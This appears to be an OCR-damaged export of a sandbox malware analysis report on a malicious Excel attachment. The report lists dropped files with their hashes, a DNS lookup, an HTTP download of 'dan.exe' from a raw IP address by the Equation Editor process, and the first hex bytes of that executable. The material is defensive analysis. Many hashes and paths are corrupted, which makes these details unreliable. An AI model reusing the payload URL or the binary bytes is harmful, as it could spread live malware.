gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3

dropped

48770

7.801842363879827

false
768:uLgWImMQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ughDTzQ27A3UXsgf
AA7A56E6A97FFA9390DA10A2ECOC5805

200A6D7ED9F485DD5A7B9D79B596 DE3SECEBD834A
56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1EGE9L7F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6ES8BOBED6GCS7¢€
false

high, very likely benign file
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\21A7353E.jpeg

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6A8387D5.emf

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000
Category: dropped

Size (bytes): 653280

Entropy (8bit):  2.898661978170601

Encrypted: false

SSDEEP: 3072:334ULOtS6WB0JOGFVY5QCcARI/McGAATIKRLFdAtSyQu50yknG/ac+5:h4UcLe0JOqQQZR8MDIATCR3tSajgcS

MDS5: 67445CD831AFBE3C8305D57A9F637F06

SHA1L: 085ED026956D0E62B61DA7E9708EDF25ABEF691B

SHA-256: EEBC575A5135E7C0D93E102F85D20998917E4B5D7485F0AB335E6DAAAS5C1C37

SHA-512: CC90BFDA92EF583C65D5CFDB389635B5539945BA51E27AB3F3257F58B5AAD490B6733784FAFC53B8851BAC03B0ODCC54797A3722D6E6G6328F7B1E86590C845C1
Malicious: false

Preview:

Xe XL FLALPLEMFH'@.
L.@."Calibri.
.Caliburi.......X.0.d....2..gvdv...%.
........... P....6..F.$.....EMF+@.$......7

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6F569DAB.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 84203

Entropy (8bit):  7.979766688932294

Encrypted: false

SSDEEP: 1536:RrpoeM3WUHO25A8HD3S04IL9jvt06302I/WrdnuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZull

MD5: 208FD40D2F72D9AED77A86A44782E9E2

SHA1L: 216B99E777ED782BDC3BFD1075DB90DFDDABD20F

SHA-256: CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF

SHA-512: 7BCE8OFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBID5ED8DA93C223F265C179CFADAGO9AG4

Malicious: false

Preview:
PNG.......IHDR..6........... >(....sSRGB......... gAMA......a....pHYS.......... +. IDATXA SV HLfLZAL SEJ,%..VPG. K.=...@.$0l.e7....U...... ... >N~&..._..._IQ...
L..D.Gl0..G!;...7...00.7....CC...G....> .. _O.._._}q ke FU T S~ @Y96.S.....&.1.:....0....6..S.. n..H.hS ..y NLL)LfXuns;...._h.(U[OR....].R.Z...2......GIY
\..+b...>vU.... V.8 U.cR.gN. X......6N...6....06.- AM.f.2y ...7....X....q..] .. =K. w.. }O.{]...G........~.03.....2....m6...SN.0..;/...Y..H..0....c....
(W, Sit..m...+.K..<.M=..IN.U..C.]5.=.5..g.d.f.<Km.$.fS..0....}@...k.m.L./S.....}....3%..|j....b.r7.0lF..c".....$...)...|O.CK...._...Nv....q.t3l.,. ...vD.-.0.kw.... X...-
C..KGId.8.a}]..,....eper Q=1 PEVH D S W NLDLWLL L0 2,00 KB K AW 6., LELXUL-Y1.0dMU PG O, V- 170 F

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\7B58EFF1.jpeg

Process: C:\Program Files\Microsoft Office\Office 4\ EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3

Category: dropped

Size (bytes): 8815

Entropy (8bit):  7.944898651451431

Encrypted: false

SSDEEP: 192:Qjnr2118e71i2YRD5x5dlyuaQOugZIBn+002yHQGYtPto:QZI8e7li2Y dRyuZ0b+JGgtPW

MD5: F06432656347B7042C803FE58F4043E1

SHA1L: 4BD52B10B24EADECA4B227969170C1D06626A639

SHA-256: 409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

SHA-512: 358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE9S!
OE

Malicious: false

Preview:
...... JFIF o) (21 1196)-
..... Frvereriereeennn ) ."1A. . QRa.#2BS(
.d.@..&3)d@@7.q...t..3".... .9.r....Q.(.W..X&..& 1&T .* K..|kc.....[..L.3(f+.c...;+...5....hHR.0...."R.G..6...&pB..d.h.04.*+..S..M........ [ootns o Yn. . TLE*Gl..-......
$e&.......z..[.3.4~.a.u9d.&9IK . xkX"."...Y . l...... MxPu..b..:.0e:.R#.....U...E..4Pd/..0.".4 ..A..t....2...gbDb.l."&..y1.......... |.s>.ZA%.......... 3...z..L.n6.Am.1m...0..[.~y....
.1.b.0U...5.0i\.LHL.f...sl.conn f'32..bu.P4>. +.B...elL...R.,..<...3.00$,=. K.l..Z.....0O.l.z...am....C.k..iZ ...<ds....f8f..R...K

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\862DD3FC.png
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\862DD3FC.png

File Type: PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced
Category: dropped
Size (bytes): 84203

Entropy (8bit):  7.979766688932294

Encrypted: false

SSDEEP: 1536:RrpoeM3WUHO25A8HD3S04IL9jvt06302I/Wr9nuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZull

MD5: 208FD40D2F72D9AED77A86A44782E9E2

SHA1L: 216B99E777ED782BDC3BFD1075DB90DFDDABD20F

SHA-256: CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF

SHA-512: 7BCEBOFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBOD5ED8DA93C223F265C179CFADAG09AG4

Malicious: false

Preview:
.PNG SEJ,%..VPG. K.=..@.%0l.e7...U...... ... >N~&..._..._.IQ...
.L..D.G!0..Gl; _ NLL)[ L Xauns._ho(ul0a.... ] R.z...2......GJY
\..+b..{>vU.... .. V.z.s.U.cR..g" .~.03....2...m6...sN.0..;/..Y. . H..0..........
(W..St...m..+.K..<.M=_.IN.U.C..].5.=...s.g.d.f.<Km..$..fS..0.... }@...;k.m.L./.$......}....3%..|j.....b.r7.0OlF...c".....$...)... ]O.CK...._.....Nv....q.t3].,. ...vD.-.0.kw....X...-
C..KGld.8.a}|..,.....,....q.=r..PLV#...n. }....... [w...N.b.W......;..2.0q.K{>.K....{w{....... 6Y...,..E..X.1.-Y].JImj..pq|.0...e.v.....17....F

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\87C26827.png E

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 49744

Entropy (8bit):  7.99056926749243

Encrypted: true

SSDEEP: 768:wnuJépl4x3egT1LYyelwBiPaaBsZbkCevl7dGOhRkJjsv+gZB/UcVaxZJ2LEz:YfplUeWNYF1UiPm+/qlsxZB/ZS

MD5: 63A6CB15B2B8ECD64F1158F5C8FBDCC8

SHA1L: 8783B949B93383C2A5AF7369C6EEBIDSDD7A56F6

SHA-256: AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232

SHA-512: BB42A40E6EADF558C2AAE82F5FB60B8D3ACO6E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EES52586B83A24A055A06C2CCC2D1207C2D5AD6E
45

Malicious: false

Preview:
PNG........ IHDR.............. L.M....IDATX....T.]...G.;..nuww7.s...U.K.....Ih...gli.. K.tk W.i.>....B...E.O..fa..e..++. P.. A LS. sM....p..p-..y]..t7"D).....L..k
...pzos....... 6;,..H....U.a.9..1..%....* kI<.\F..$.E..?[B(.9.....H..l.....0AV..g.m...23..C..9(.%...6..>.0.r.. L.11.Q-.bE......)........ li.."..V.g\G..p.p.X[....*%hyt..@..J...~.p....
Jo>o~ LB IUGLILOLIG.LIV.LL.@..... ... Jte...5Q.P.v;..B.C..m......0.N......q...b.....Q...c.m0oT.e60B...p.v"..."....... 9..G...B}..../m...0g...8......6.$.8]p...9.....Z.a.sr.;B.a..m
L blBUK L AW? B2 > L e L VKL PG 25 WELY LY 80200 ) D 2,06 U %28 6.0 DB M%™FGID\ o L GC L.
+....ra.ieZ.).Y..3.Q*m.r.urb.5@.ev@@....gsb.{g-..3j........ s.f.[8s$p.?3H......0"..6)...bD... A +....9.;$.. . W BH..ItK

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\8FEB23B0.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 399 x 605, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 50311

Entropy (8bit): 7.960958863022709

Encrypted: false

SSDEEP: 768:hfo72tRIBZeeRugjj8yooVAK92SYADOPSsX35SVFNOt3HcoNz8 WEK6HM8bbxXVGx:hfOWBueSoVAKXLDO6W35SEVNz8imOAEH

MD5: 4141C7515CE64FED13BE6D2BA33299AA

SHA1L: B290F533537A734B7030CE1269AC8C5398754194

SHA-256: F6BOFE628E1469769E6BD3660611B078CEF6EE396F693361B1B42A9100973B75

SHA-512: 74E9927BFOC6F8CBI9C3973FD68DAD12B422DC4358D5CCED956BC6A20139B21D929E47165F77D208698924CB7950A7D5132953C75770E4A357580BF271BD9BD8

Malicious: false

Preview:

CHRM..Z&....c.cooenn u0...".......p..Q<...bKGD.............0FFs....... F#-nT...pHYs...%...%.IR$.....vpAg....... 0..0.....
IDATX...h.w...V!...D. 4.p X(r.x.&. K.(L..P.d5.R.....b....... C..BP...,% ...qL...[E.ni.t....H_....G < #JINa.a.Q.V.. t.M.y;=.0.s..ixa...0..<..."..a\..a..q.+..a..5.<.
.a...a\.a.g+.a.5<.a.. .a.a.q+.a.b<.a.’.a.a.g+.ab<.a..a.a.g+.a.b<.a..al.a.g+.a.5<.a..a.a.g+.a.b<.a..a.a.g+.a.b<.a..a\
.a..qM../.u....h6..|.22..g4M......... C.u.y,-. a2~ WAi>7g.j..y... .iLNN....5\.w"..b~~...J.sssm.d.Y.u.G....s.\.R."qq.....C;..$..&..2..x..J..fgg...]=9.Y.y..N..(SN.S8.eZ.T...=...4.?
~.UuK.;...SSS...iY.Q.n.L.u\.x..0.,.av.N.(..H..B.. X......... .amm...hd.t.. ].j..tz[.(. #. Jyy.l." z-[14...a. jj....,dY. 7 F. . \~g..x.Y..R.\...w\h.K..h.nM

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\B121FC63.jpeg

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: gd-jpeg v1.0 (using G JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3

Category: dropped

Size (bytes): 48770

Entropy (8bit): 7.801842363879827

Encrypted: false

SSDEEP: 768:uLgWImMQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqzZhsglgDQPT:uLgY4MqTeywVYr+0ughDTzQ27A3UXsgf
MD5: AA7A56E6A97FFA9390DA10A2ECOC5805

SHAL: 200A6D7ED9F485DD5A7B9D79B596 DE3SECEBD834A
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B121FC63.jpeg

SHA-256: 56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974

SHA-512: A532FEAC52FED46919003A96B882AE6F7C70A3197AA57BD1E6GEI17F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6ES8BOBED6C57¢
Malicious: false

Preview:

;CREATOR: gd-jpeg v1.0 (using 1JG JPEG v80), quality = 90....C
J11A.Qa."q.2... #B...R..$3br....

(..P.E.P.Gj(...(....Q@.%-...(....
..... (eo(ee(cor- W . 3FN.LLE. ... 4W. .. 0. %

R. 3Fh.
h..(.QE.&(KE.j

:::QE.&(.KE"jZ(,..QE..,.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C6662BCD.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 399 x 605, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 50311

Entropy (8bit):  7.960958863022709

Encrypted: false

SSDEEP: 768:hfo72tRIBZeeRugjj8yooVAK92SYADOPSsX35SVFNOt3HcoNzZ8WEK6HM8bbxXVGx:hfOWBuUeSoVAKXLDOBW35SEVNZ8IimOAEH

MDS5: 4141C7515CEB4FED13BE6D2BA33299AA

SHA1L: B290F533537A734B7030CE1269AC8C5398754194

SHA-256: F6BOFE628E1469769E6BD3660611B078CEF6EE396F693361B1B42A9100973B75

SHA-512: 74E9927BFOC6F8CB9C3973FD68DAD12B422DC4358D5CCEDI956BC6A20139B21D929E47165F77D208698924CB7950A7D5132953C75770E4A357580BF271BD9BD8
Malicious: false

Preview:

E CHRM..Z&.............. .
A.p X(r.x.&.K.(L..P.d5.R.....b......C..BP...,.% ... WH_.....G .<.#J.N.a.a.Q.V..t.M.yv; a\.a..q.+.a..5.<.
.a...al.a.g+.a.5b<.a.. .a.a.q+.a.5<.a..a\.a.g+.ab<.a.’.al.a.g+.a.b<.a..ala.g+.a.b<.a.’.a.a.g.+.a.b<.a.’.al.a.g+.a.b<.a..al
.a.gM../.u...h6..[.22..g4M........C.u..y, a.?~W\i.>7¢q.j..y...ILNN....5\.w"..b~~...J.sssm.d.Y.u.G....s.\.R.’qq.....C;..$..&..2..x..J..fgg...]=9.Y.y..N..(SN.S8.eZ.T...=...4.?
~.UK.;...SSS...iY.Q.n.L.u\.x..0.,.av.N.(..H..B. X......... .amm..h4.t:. ] j..tz[.(.#. }yy . 2[4 a. ... dY.7F. . \~g..x.Y..R.\. .. .w\h.K..h.nM

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\FABE76A.jpeg

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3

Category: dropped

Size (bytes): 8815

Entropy (8bit): 7.944898651451431

Encrypted: false

SSDEEP: 192:Qjnr2118e71i2YRD5x5dlyuaQOugZIBn+002yHQGYtPto:QZI8e7li2Y dRyuZ0b+JGgtPW

MD5: F06432656347B7042C803FE58F4043E1

SHA1L: 4BD52B10B24EADECA4B227969170C1D06626A639

SHA-256: 409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

SHA-512: 358FEBSCBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BEYSI
O0E

Malicious: false

Preview:

............................... ) ..(...111%)-.....383,7(..
"1A..QRa.#2BSq......3D....8C...C..Er.5. i ?.x.5.PM.Q@E..I......i..0.$G.C...h..Gt...f.0..U..D.t"...u.B...V9.f..<..t( kt.
.d.@...&3)d@@7.q...t..3"... .9.r....Q.(.W..X&..& 1&T.* K..|kc.....[..1.3(f+.c...;+....5....hHR.0...."R.G..6...&pB..d.h.04.*+..S...M........ [. RN S(© [N Y. T.LE*G[l..-......
LoZhLn6 AmaAm...0./.~ Y.

.1.b.0U...5.0i\.LH1.f....sloinn f.'3?...bu.P4>..+. B...eL...R.,..<..3.00$,=.K.!l..Z... O.l.z...am....C.k..iZ ...<ds....f8f..R... K
C:\Users\user\AppData\Local\Temp\Cab71DC.tmp E
Process: C:\Users\Public\vbc.exe
File Type: Microsoft Cabinet archive data, 60080 bytes, 1 file
Category: dropped
Size (bytes): 60080
Entropy (8bit):  7.995256720209506
Encrypted: true
SSDEEP: 768:078wIEbt8Rc7GHyP7zpxeiB9jTs6cX8ENCIXVbFYYDceSKZyhRhbzfgtEnz9BPNZ:ABRc7GHyhUHsVNPOIhbz2ESBPNiUu+g4
MD5: 6045BACCF49E1EBAOEG674945311A06E6
SHAL: 379C6234849EECEDE26FAD192C2EES59E0F0221CB
SHA-256: 65830A65CB913BEE83258E4AC3E140FAF131E7EB084D39F7020C7ACC825B0A58
SHA-512: DA32AF6A730884E73956E4EB6BFF61A1326B3EF8BA0A213B5B4AAADEDE4AFBD471B3550B6AC2110F1D0B2091E33C70D44E498F897376F8E1998B1D2AFAC789AB

EB
Malicious: false
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Preview:

}...f....zwa 9+[<0 2 .s.ya. J wd OO!.s. WA F6._f...6...0..2.7.%,... X k. &

.qB!.B....Z.4.>.R.M..0.8...=.8..Ya.s. L)-W.4.8.2...2.&74.5].w.j.._iK..|[[.w.M.I<-

{Q.&... X..CS....e9..VIL.X.R4..L.....%(...<.}{....E8SI|..E" h..*. ... ItVs K.....
{IN.b]x..Zx.../;#}.£.)k.c9. {rmPt..z5.m=..q..%.D#<+Ex....1|.._F

..X..00&Z....C...p0.}..2..0m.}..C}.9U..J.j.Y..#.L..\X..O.,...,.qu..]..(B.nE~Q...)..Gcx.
LE..g...>uv.". .XC.....C.7... P0$.Y..?u....20.g3.>WO0&.y.(....]. >... ..R.q..wg*X.
.}%.C<tDX5\s. GCQ.V..r..Y.. .q...0.V)Tu>.Z..r..l..<.R{Ac.x". <A..
.5...aSs".W...d...t.J..]....'u3..d]7..=e....[Rl...

C:\Users\luser\AppData\Local\Temp\Tar71DD.tmp

Process: C:\Users\Public\vbc.exe

File Type: data

Category: modified

Size (bytes): 156885

Entropy (8bit): 6.30972017530066

Encrypted: false

SSDEEP: 1536:NIR6c79JjgCyrYBWsWimp4Ydm6Caku2SWsz00D8reJgMnI3XIMuGmO:N2UJcCyZfdmoku2SL3kMnBGuzO
MDS5: 9BE376D85B319264740EF583F548B72A

SHA1L: 6C6416CBC51AACB9A21A529695A8FCD3AD5E6B85

SHA-256: 07FDF8BC502E6BB4CF6AE214694F45C54A53228FC2002B2F17C9A2EFG4EB76F6

SHA-512: 8AFC5D0D046E8B410EC1D29E2E16FBO0CD92F8822D678AA0EE2A57098E05F2A0E165858347F035AE593B62BF195802CB6F9A5F92670041E1828669987CEECT7DE
Malicious: false

Preview:

0.d..*H.......d.0.d...1.0..." He....0.T..+..7...T7.0.T.0..+....7.......L.LE*u...210519191503Z0.. .+......0..T.0.*....."..@.,.0..0.r1...0...+.....7..~1.....D...0..+.....7..i1..0
. . @V'.%..*.S.Y.00..+.....7..b1". ].L4.> . X..E.W. i
L[.ulv. %l 0.+, 7.h1..6.M..0..+....7..~1 n0 4701000

.l 7..b1 [x 7.2..Gy.cS.0D..+....7...16.4V.e.ri.S.i.g.n. . T.i.m.e. .S.tam.p.i.n.g. .C.A..0.
+.. 70 1ol AL @08 L 70 LW FLL9INLLLL00. +LL L 70b1 L @.....Gld.mL$.L XL 0B L7 14.2M.ero.s.0.f.t. .R.0.0.1. A u.t.h.o
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: data
Category: dropped
Size (bytes): 330
Entropy (8bit):  1.4377382811115937
Encrypted: false
SSDEEP: 3:vZ/FFDJIw2fj/FFDIw2fV:vBFFGaFFGS
MD5: 96114D75E30EBD26B572C1FC83D1D02E
SHA1L: A44EEBDASEB09862AC46346227F06F8CFAF19407
SHA-256: 0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06ADAA83FAFOF021AD7C8D30600AA8168348BDOFAS
0
Malicious: true
Preview:
.user JALBIULS. user LAlbus. oo
Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped
Size (bytes): 860672
Entropy (8bit):  7.64738851637245
Encrypted: false
SSDEEP: 12288:IzlgfvquwaHp/S4ARxwD4jvcQ8MfHVQViTa7zfl+D6 Y tWOE:llaquPHpKA4R2cj1eVbHfI30
MD5: E123306FCC7FD3C3BDA8993B4F6C43A2
SHAL: B9247EC8B7158C490369961DOESABEE45C305C9D
SHA-256: AAB5FAC72AFC1C8F1BEACB75EB3FA27DFD18E6D1ES8E6AOCIF28222550C30AF7
SHA-512: DFD7602656D7E5B3B31360D7A200457502867EEC2ED673288DA882136051A6D1376B2741354B807989E5A298BBB370C54D71573DA82A51C55DC639EBF5B256BE
Malicious: true
Preview:

“rsre...B....... D...
(00500 +&+& W BE (e (B 8
&* VA& (oo K VA& (o (e K &F +& *J+& (X I+ &, (

LH

Static File Info
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General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:
OLE File "Request for Quotation (RFQ).xIsx"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Streams

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP

Copyright Joe Security LLC 2021

ede2aaB8aadb4bcb4

OLE

False
unknown
True
False
False
False

False

False

Trans ID OP Code

CDFV2 Encrypted
7.995369439385782

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

Request for Quotation (RFQ).xIsx

1262080

84c78e6dedef5f0c45f463953f7974ec
3018a8907c25585afh95d899d7e02414c57f87f5

2ceab7f41e7edbc7a0d6a29cc9d5ad722e976f51546941
be407a0a9db61e5d9

eed5d4ec8b92e106clae475eae538¢308660ac7b0150ch
e684084309d9c41eebaa72fe9aab46960f18df7692782de
2066b5a406b85589ead7dac63d7eadf24e3

24576:rmDITBR+TU2peSjqH7q5WK9jSNf1jZc1MrA03P
zX2ZE9ufOIlv3bDV1t82j86VR:SDAvwg5W1a2PD2erV3bD
Vivjf

Name Type Class
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jun 16, 2021 12:16:02.714337111 CEST 192.168.2.22 8.8.8.8 0x70c0 Standard query  us2.smtp.m A (IP address) IN (0x0001)
(0) ailhostbox.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jun 16, 2021 8.8.8.8 192.168.2.22 0x70c0 No error (0) us2.smtp.m 208.91.198.143 A (IP address) IN (0x0001)

12:16:02.780240059 ailhostbox.com

CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x70c0 No error (0) us2.smtp.m 208.91.199.225 A (IP address) IN (0x0001)

12:16:02.780240059 ailhostbox.com

CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x70c0 No error (0) us2.smtp.m 208.91.199.223 A (IP address) IN (0x0001)

12:16:02.780240059 ailhostbox.com

CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x70c0 No error (0) us2.smtp.m 208.91.199.224 A (IP address) IN (0x0001)

12:16:02.780240059
CEST

HTTP Request Dependency Graph

e 192.227.228.121

HTTP Packets

Session ID

0

Timestamp

Jun 16, 2021
12:14:31.282865047 CEST

Jun 16, 2021
12:14:31.421068907 CEST

Source IP

192.168.2.22

kBytes
transferred

0

Copyright Joe Security LLC 2021

Source Port

49165

Direction

ouT

ailhostbox.com

Destination IP Destination Port Process

192.227.228.121 80 C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

Data

GET /dan.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 192.227.228.121

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:14:31 GMT

Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28

Last-Modified: Wed, 16 Jun 2021 02:35:20 GMT

ETag: "d2200-5c4d8f11f527¢"

Accept-Ranges: bytes

Content-Length: 860672

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 60 63 c9 60 00 00 00 00 00 00 00 00 e0 00 Oe 01 Ob 01
06 00 00 da Oc 00 00 46 00 00 00 00 00 00 4e f9 Oc 00 00 20 00 00 00 00 0d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 O
000 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 Od 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 f9 Oc 00 4b 00 00 00 00 00 Od 00 Oc 42 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0d 00 Oc 00 00 00 b3 f8 Oc 00 1c 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 d9 Oc 00
00 20 00 00 00 da Oc 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 Oc 42 00
00 00 00 0d 00 00 44 00 00 00 dc Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 60 0d 00 00 02 00 00 00 20 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 30 f9 Oc 00 00 00 00 00 48 00 00 00 02 00 05 00 00 27 01 00 48 05 01 00 03 00 00 00 01 00 00 06
48 2c 02 00 6b cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 O
000 00 00 00 00 00 00 00 6a 2b 02 26 16 28 Oe 00 00 Oa 28 Of 00 00 Oa 28 12 00 00 06 02 6f 10 00 00 Oa 2a 00 13 30 03
00 ¢5 00 00 00 01 00 00 11 2b 02 26 16 2b 02 26 16 20 00 00 00 00 38 45 00 00 00 02 16 28 08 00 00 06 20 05 00 00 00
28 06 00 00 06 3a 2f 00 00 00 38 2a 00 00 00 02 16 28 0a 00 00 06 20 07 00 00 00 38 19 00 00 00 02 16 28 11 00 00 Oa
38 32 00 00 00 20 00 00 00 00 fe Oe 00 00 fe Oc 00 00 45 08 00 00 00 10 00 00 00 96 ff ff ff bl ff ff ff 00 00 00 00 31 00 00
00 c2 ff ff ff 96 ff f ff 48 00 00 00 38 2c 00 00 00 26 20 04 00 00 00 38 cb ff ff ff 02 16 28 07 00 00 06 28 06 00 00 06 28 05
00 00 06 39 df ff ff ff 26 20 06 00 00 00 38 aa ff ff ff 02 16 28 09 00 00 06 20 02 00 00 00 28 05 00 00 06 3a 94 ff ff ff 26 2a
00 00 00 56 2b 02 26 16 02 28 Ob 00 00 06 28 Oc 00 00 06 28 12 00 00 Oa 2a 00 00 56 2b 02 26 16 02 28 14 00 00 06 28
0d 00 00 06 28 Oe 00 00 06 2a 00 00 1a 2b 02 26 16 17 2a 00 1a 2b 02 26 16 16 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09
01 00 28 13 00 00 Oa 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 14 00 00 Oa 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09
01 00 28 15 00 00 Oa 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 16 00 00 Oa 2a 00 2e 2b 02 26 16 00 28 14 00 00
06 2a 3a 2b 02 26 16 fe 09 00 00 6f 20 00 00 06 2a 00 3a 2b 02 26

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL'c'FN @ @KB' H.textT ".rsrcBD@@.reloc”
